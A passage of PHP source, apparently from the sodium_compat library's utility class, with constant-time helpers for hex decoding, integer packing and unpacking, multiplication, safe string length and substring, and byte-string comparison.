            return false;
        }
        for ($i = 0; $i < $len; ++$i) {
            $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]);
        }

        if ($d !== 0) {
            return false;
        }
        return $left === $right;
    }

    /**
     * Catch hash_update() failures and throw instead of silently proceeding
     *
     * @param HashContext|resource &$hs
     * @param string $data
     * @return void
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument
     */
    protected static function hash_update(&$hs, $data)
    {
        if (!hash_update($hs, $data)) {
            throw new SodiumException('hash_update() failed');
        }
    }

    /**
     * Convert a hexadecimal string into a binary string without cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $hexString
     * @param string $ignore
     * @param bool $strictPadding
     * @return string (raw binary)
     * @throws RangeException
     * @throws TypeError
     */
    public static function hex2bin($hexString, $ignore = '', $strictPadding = false)
    {
        /* Type checks: */
        if (!is_string($hexString)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($hexString) . ' given.');
        }
        if (!is_string($ignore)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($hexString) . ' given.');
        }

        $hex_pos = 0;
        $bin = '';
        $c_acc = 0;
        $hex_len = self::strlen($hexString);
        $state = 0;
        if (($hex_len & 1) !== 0) {
            if ($strictPadding) {
                throw new RangeException(
                    'Expected an even number of hexadecimal characters'
                );
            } else {
                $hexString = '0' . $hexString;
                ++$hex_len;
            }
        }

        $chunk = unpack('C*', $hexString);
        while ($hex_pos < $hex_len) {
            ++$hex_pos;
            /** @var int $c */
            $c = $chunk[$hex_pos];
            $c_num = $c ^ 48;
            $c_num0 = ($c_num - 10) >> 8;
            $c_alpha = ($c & ~32) - 55;
            $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8;
            if (($c_num0 | $c_alpha0) === 0) {
                if ($ignore && $state === 0 && strpos($ignore, self::intToChr($c)) !== false) {
                    continue;
                }
                throw new RangeException(
                    'hex2bin() only expects hexadecimal characters'
                );
            }
            $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0);
            if ($state === 0) {
                $c_acc = $c_val * 16;
            } else {
                $bin .= pack('C', $c_acc | $c_val);
            }
            $state ^= 1;
        }
        return $bin;
    }

    /**
     * Turn an array of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $ints
     * @return string
     */
    public static function intArrayToString(array $ints)
    {
        $args = $ints;
        foreach ($args as $i => $v) {
            $args[$i] = (int) ($v & 0xff);
        }
        array_unshift($args, str_repeat('C', count($ints)));
        return (string) (call_user_func_array('pack', $args));
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function intToChr($int)
    {
        return pack('C', $int);
    }

    /**
     * Load a 3 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_3($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 3) {
            throw new RangeException(
                'String must be 3 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string . "\0");
        return (int) ($unpacked[1] & 0xffffff);
    }

    /**
     * Load a 4 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_4($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string);
        return (int) $unpacked[1];
    }

    /**
     * Load a 8 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64_le($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) {
            /** @var array<int, int> $unpacked */
            $unpacked = unpack('P', $string);
            return (int) $unpacked[1];
        }

        /** @var int $result */
        $result  = (self::chrToInt($string[0]) & 0xff);
        $result |= (self::chrToInt($string[1]) & 0xff) <<  8;
        $result |= (self::chrToInt($string[2]) & 0xff) << 16;
        $result |= (self::chrToInt($string[3]) & 0xff) << 24;
        $result |= (self::chrToInt($string[4]) & 0xff) << 32;
        $result |= (self::chrToInt($string[5]) & 0xff) << 40;
        $result |= (self::chrToInt($string[6]) & 0xff) << 48;
        $result |= (self::chrToInt($string[7]) & 0xff) << 56;
        return (int) $result;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function memcmp($left, $right)
    {
        if (self::hashEquals($left, $right)) {
            return 0;
        }
        return -1;
    }

    /**
     * Multiply two integers in constant-time
     *
     * Micro-architecture timing side-channels caused by how your CPU
     * implements multiplication are best prevented by never using the
     * multiplication operators and ensuring that our code always takes
     * the same number of operations to complete, regardless of the values
     * of $a and $b.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $size Limits the number of operations (useful for small,
     *                  constant operands)
     * @return int
     */
    public static function mul($a, $b, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return (int) ($a * $b);
        }

        static $defaultSize = null;
        /** @var int $defaultSize */
        if (!$defaultSize) {
            /** @var int $defaultSize */
            $defaultSize = (PHP_INT_SIZE << 3) - 1;
        }
        if ($size < 1) {
            /** @var int $size */
            $size = $defaultSize;
        }
        /** @var int $size */

        $c = 0;

        /**
         * Mask is either -1 or 0.
         *
         * -1 in binary looks like 0x1111 ... 1111
         *  0 in binary looks like 0x0000 ... 0000
         *
         * @var int
         */
        $mask = -(($b >> ((int) $defaultSize)) & 1);

        /**
         * Ensure $b is a positive integer, without creating
         * a branching side-channel
         *
         * @var int $b
         */
        $b = ($b & ~$mask) | ($mask & -$b);

        /**
         * Unless $size is provided:
         *
         * This loop always runs 32 times when PHP_INT_SIZE is 4.
         * This loop always runs 64 times when PHP_INT_SIZE is 8.
         */
        for ($i = $size; $i >= 0; --$i) {
            $c += (int) ($a & -($b & 1));
            $a <<= 1;
            $b >>= 1;
        }
        $c = (int) @($c & -1);

        /**
         * If $b was negative, we then apply the same value to $c here.
         * It doesn't matter much if $a was negative; the $c += above would
         * have produced a negative integer to begin with. But a negative $b
         * makes $b >>= 1 never return 0, so we would end up with incorrect
         * results.
         *
         * The end result is what we'd expect from integer multiplication.
         */
        return (int) (($c & ~$mask) | ($mask & -$c));
    }

    /**
     * Convert any arbitrary numbers into two 32-bit integers that represent
     * a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int|float $num
     * @return array<int, int>
     */
    public static function numericTo64BitInteger($num)
    {
        $high = 0;
        /** @var int $low */
        if (PHP_INT_SIZE === 4) {
            $low = (int) $num;
        } else {
            $low = $num & 0xffffffff;
        }

        if ((+(abs($num))) >= 1) {
            if ($num > 0) {
                /** @var int $high */
                $high = min((+(floor($num/4294967296))), 4294967295);
            } else {
                /** @var int $high */
                $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296))));
            }
        }
        return array((int) $high, (int) $low);
    }

    /**
     * Store a 24-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_3($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }
        /** @var string $packed */
        $packed = pack('N', $int);
        return self::substr($packed, 1, 3);
    }

    /**
     * Store a 32-bit integer into a string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store32_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('V', $int);
        return $packed;
    }

    /**
     * Store a 32-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_4($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('N', $int);
        return $packed;
    }

    /**
     * Stores a 64-bit integer as an string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store64_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        if (PHP_INT_SIZE === 8) {
            if (PHP_VERSION_ID >= 50603) {
                /** @var string $packed */
                $packed = pack('P', $int);
                return $packed;
            }
            return self::intToChr($int & 0xff) .
                self::intToChr(($int >>  8) & 0xff) .
                self::intToChr(($int >> 16) & 0xff) .
                self::intToChr(($int >> 24) & 0xff) .
                self::intToChr(($int >> 32) & 0xff) .
                self::intToChr(($int >> 40) & 0xff) .
                self::intToChr(($int >> 48) & 0xff) .
                self::intToChr(($int >> 56) & 0xff);
        }
        if ($int > PHP_INT_MAX) {
            list($hiB, $int) = self::numericTo64BitInteger($int);
        } else {
            $hiB = 0;
        }
        return
            self::intToChr(($int      ) & 0xff) .
            self::intToChr(($int >>  8) & 0xff) .
            self::intToChr(($int >> 16) & 0xff) .
            self::intToChr(($int >> 24) & 0xff) .
            self::intToChr($hiB & 0xff) .
            self::intToChr(($hiB >>  8) & 0xff) .
            self::intToChr(($hiB >> 16) & 0xff) .
            self::intToChr(($hiB >> 24) & 0xff);
    }

    /**
     * Safe string length
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @return int
     * @throws TypeError
     */
    public static function strlen($str)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        return (int) (
        self::isMbStringOverride()
            ? mb_strlen($str, '8bit')
            : strlen($str)
        );
    }

    /**
     * Turn a string into an array of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return array<int, int>
     * @throws TypeError
     */
    public static function stringToIntArray($string)
    {
        if (!is_string($string)) {
            throw new TypeError('String expected');
        }
        /**
         * @var array<int, int>
         */
        $values = array_values(
            unpack('C*', $string)
        );
        return $values;
    }

    /**
     * Safe substring
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @param int $start
     * @param int $length
     * @return string
     * @throws TypeError
     */
    public static function substr($str, $start = 0, $length = null)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        if ($length === 0) {
            return '';
        }

        if (self::isMbStringOverride()) {
            if (PHP_VERSION_ID < 50400 && $length === null) {
                $length = self::strlen($str);
            }
            $sub = (string) mb_substr($str, $start, $length, '8bit');
        } elseif ($length === null) {
            $sub = (string) substr($str, $start);
        } else {
            $sub = (string) substr($str, $start, $length);
        }
        if ($sub !== '') {
            return $sub;
        }
        return '';
    }

    /**
     * Compare a 16-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_16($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 16),
            self::substr($b, 0, 16)
        );
    }

    /**
     * Compare a 32-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_32($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 32),
            self::substr($b, 0, 32)
        );
    }

    /**
     * Calculate $a ^ $b for two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return string
     * @throws TypeError
     */
    public static function xorStrings($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('Argument 1 must be a string');
        }
        if (!is_string($b)) {
            throw new TypeError('Argument 2 must be a string');
        }

        return (string) ($a ^ $b);
    }

    /**
     * Returns whether or not mbstring.func_overload is in effect.
     *
     * @internal You should not use this directly from another application
     *
     * Note: MB_OVERLOAD_STRING === 2, but we don't reference the constant
     * (for nuisance-free PHP 8 support)
     *
     * @return bool
     */
    protected static function isMbStringOverride()
    {
        static $mbstring = null;

        if ($mbstring === null) {
            if (!defined('MB_OVERLOAD_STRING')) {
                $mbstring = false;
                return $mbstring;
            }
            $mbstring = extension_loaded('mbstring')
                && defined('MB_OVERLOAD_STRING')
                &&
            ((int) (ini_get('mbstring.func_overload')) & 2);
            // MB_OVERLOAD_STRING === 2
        }
        /** @var bool $mbstring */

        return $mbstring;
    }
}